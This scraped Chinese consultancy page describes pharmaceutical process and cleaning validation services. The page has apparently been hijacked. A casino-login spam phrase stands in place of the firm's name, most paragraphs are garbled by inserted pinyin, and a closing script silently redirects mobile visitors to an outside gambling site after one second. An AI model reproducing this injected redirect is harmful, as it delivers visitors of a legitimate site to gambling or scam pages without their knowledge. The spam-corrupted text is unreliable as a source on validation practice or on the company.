澳门葡京登录

工艺 / 清洁验证

工艺验证目的是证实某一工艺过程按照规定的工艺参数确实能稳定地生产出符合预定用途及注册要求的产品。即通过验证,证明被验证的产品工艺处于“受控状态”。工艺验证是保证产品质量的关键因素,也是产品通过注册获得上市许可的前提条件。
清洁验证目的是确立可靠的清洁方法和程序,以防止药品在生产过程中受到污染和交叉污染。清洁验证可以降低药物交叉污染及微生物污染的风险,保证用药安全,也是通过GMP认证所必须的。

工艺验证/清洁验证需要注意的问题

工艺(yi)(yi)验证(zheng)需要注意(yi):是(shi)否按注册文(wen)件制定一(yi)个(ge)生产工艺(yi)(yi) (包括经(jing)批准的工艺(yi)(yi)规程(cheng)、批记录(lu)、各工序(xu)操(cao)作规程(cheng)等;工艺(yi)(yi)的CPP和产品的CQA是(shi)否已明确;厂房、设施(shi)、设备、人员培训(xun)、物料是(shi)否得到确认(ren),中间过(guo)程(cheng)控制和成(cheng)品的检测方法(fa)是(shi)否经(jing)过(guo)验证(zheng)等。

清洁验(yan)证(zheng)需要(yao)注意的(de)问(wen)题包括:验(yan)证(zheng)的(de)前提条件是否(fou)满足(如清洁验(yan)证(zheng)分析方法是否(fou)经过了验(yan)证(zheng)),是否(fou)对设备(bei)和清洁规程进行了恰(qia)当的(de)评估(风险分析)及清洁限度和接受标准(zhun)是否(fou)已制定等。

服务范围 :

  • 提供工艺验证和清洁验证等相关咨询和培训
  • 协助准备验证方案
  • 指导实施,提供验证支持
  • 审核验证文件,协助准备报告

国内外验证经验,快速支持、节约成本

丰富(fu)的(de)工(gong)艺(yi)验(yan)(yan)(yan)证(zheng)(zheng)(zheng)和(he)清洁验(yan)(yan)(yan)证(zheng)(zheng)(zheng)经(jing)(jing)验(yan)(yan)(yan):澳门葡京登录具有在美国(guo),欧盟和(he)中(zhong)国(guo)实施工(gong)艺(yi)验(yan)(yan)(yan)证(zheng)(zheng)(zheng)和(he)清洁验(yan)(yan)(yan)证(zheng)(zheng)(zheng)项目的(de)丰富(fu)经(jing)(jing)验(yan)(yan)(yan),工(gong)艺(yi)验(yan)(yan)(yan)证(zheng)(zheng)(zheng)和(he)清洁验(yan)(yan)(yan)证(zheng)(zheng)(zheng)能通过国(guo)内(nei)外审计(ji)的(de)高度保证(zheng)(zheng)(zheng)性。

成本节约:基于(yu)产品(pin)和(he)生产工艺(yi)的理解(jie),确(que)保(bao)工艺(yi)验(yan)证和(he)清洁验(yan)证在节约资源(yuan)的同(tong)时(shi)满足质(zhi)量和(he)法规的要求。

快速的支持、成熟(shu)的工(gong)(gong)作方法:得益于澳门葡京登录成熟(shu)的工(gong)(gong)作方法,我(wo)们(men)可(ke)以在短时间内提供所(suo)需(xu)服务,客户可(ke)以快速获(huo)得所(suo)需(xu)的工(gong)(gong)艺和清洁验(yan)证(zheng)服务。 

您将获得:

  • 符合法规要求的工艺验证和清洁验证方案和报告
  • 具有多年跨行业的经验的GMP专家提供的建议
  • 专家提供的工艺验证和清洁验证培训
  • 定制化的支持服务—从简单培训到风险分析、方案报告准备、工艺验证和清洁验证实施指导
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();